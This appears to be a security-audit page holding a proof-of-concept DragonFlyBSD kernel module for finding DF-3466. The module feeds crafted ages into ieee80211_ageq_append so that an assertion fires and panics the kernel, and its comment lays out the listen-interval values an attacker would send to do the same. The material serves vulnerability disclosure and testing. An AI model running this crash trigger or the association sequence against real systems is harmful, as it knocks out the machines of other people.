⬢ DragonFlyBSD Kernel Audit
DF-3466 / ageqpoc.c
← back to finding ↓ download raw
/*
 * DF-3466 PoC — negative relative age in ieee80211_ageq_append.
 *
 * Reproduces, at the exact ageq layer, the values a DWDS attacker drives:
 *   hostap.c:1966  lintval = le16toh(assoc-req listen interval)  (unvalidated)
 *   hostap.c:2130  ni->ni_intval = lintval;
 *   wds.c:335      age = ((ni_intval * ic_lintval) << 2) / 1024
 * i.e. with AP listen interval (ic_lintval) 100:
 *   station assoc  #1 with listen-interval 2000 -> age (2000*100*4)/1024 = 781
 *   station re-assoc with listen-interval 1    -> age (1*100*4)/1024    = 0
 *   4-addr frame staged after the first        -> head stores 781
 *   second 4-addr frame                        -> append age 0 - 781 = -781
 * -> KASSERT(age >= 0) at ieee80211_ageq.c:116 fires -> panic on INVARIANTS.
 */
#include "opt_wlan.h"

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/malloc.h>

#include <sys/socket.h>

#include <net/if.h>
#include <net/if_var.h>
#include <net/if_media.h>
#include <net/ethernet.h>

#include <netproto/802_11/ieee80211_var.h>
#include <sys/mbuf.h>

static struct ieee80211_ageq pocq;

static int
ageqpoc_modevent(module_t mod, int type, void *data)
{
	struct mbuf *m1, *m2;
	int error;

	switch (type) {
	case MOD_LOAD:
		ieee80211_ageq_init(&pocq, 16, "ageqpoc");
		m1 = m_gethdr(M_WAITOK, MT_DATA);
		m2 = m_gethdr(M_WAITOK, MT_DATA);
		kprintf("ageqpoc: append #1 age=781 (listen-intval 2000)\n");
		error = ieee80211_ageq_append(&pocq, m1, 781);
		kprintf("ageqpoc: append #1 rc=%d aq_len=%d\n",
		    error, pocq.aq_len);
		kprintf("ageqpoc: append #2 age=0 (reassoc listen-intval 1)"
		    " -> relative age 0-781 = -781\n");
		error = ieee80211_ageq_append(&pocq, m2, 0);
		kprintf("ageqpoc: append #2 rc=%d aq_len=%d (KASSERT off?)\n",
		    error, pocq.aq_len);
		ieee80211_ageq_drain(&pocq);
		break;
	case MOD_UNLOAD:
	default:
		break;
	}
	return 0;
}

static moduledata_t ageqpoc_mod = { "ageqpoc", ageqpoc_modevent, NULL };
DECLARE_MODULE(ageqpoc, ageqpoc_mod, SI_SUB_PROTO_END, SI_ORDER_ANY);
MODULE_DEPEND(ageqpoc, wlan, 1, 1, 1);
MODULE_VERSION(ageqpoc, 1);